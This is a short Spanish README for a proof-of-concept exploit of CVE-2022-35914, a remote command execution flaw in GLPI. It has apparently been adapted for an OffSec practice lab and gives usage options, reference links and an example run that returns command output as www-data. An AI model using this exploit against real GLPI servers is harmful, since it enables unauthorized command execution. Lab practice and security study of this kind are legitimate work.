CVE-2022-35914_poc

Modificado para GLPI Offsec Lab: call_user_func, array_map, passthru

Referencias

Modificado para funcionar en el laboratorio de práctica Proving Grounds: GLPI

• https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr
• https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py
• Entrada de blog de Mayfly: https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/

Uso

pip3 install -r requirements.txt

./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Modificado para Offsec Lab: GLPI

options:
  -h, --help              muestra este mensaje de ayuda y sale
  -u URL                  URL para probar
  -c CMD                  Comando a ejecutar
  --check                 Solo verificar, sin ejecución de comandos.
  --user-agent USER_AGENT User-Agent personalizado

Ejemplo:

python3 CVE-2022-35914.py -u http://127.0.0.1
[+] Salida del comando:
uid=33(www-data) gid=33(www-data) groups=33(www-data)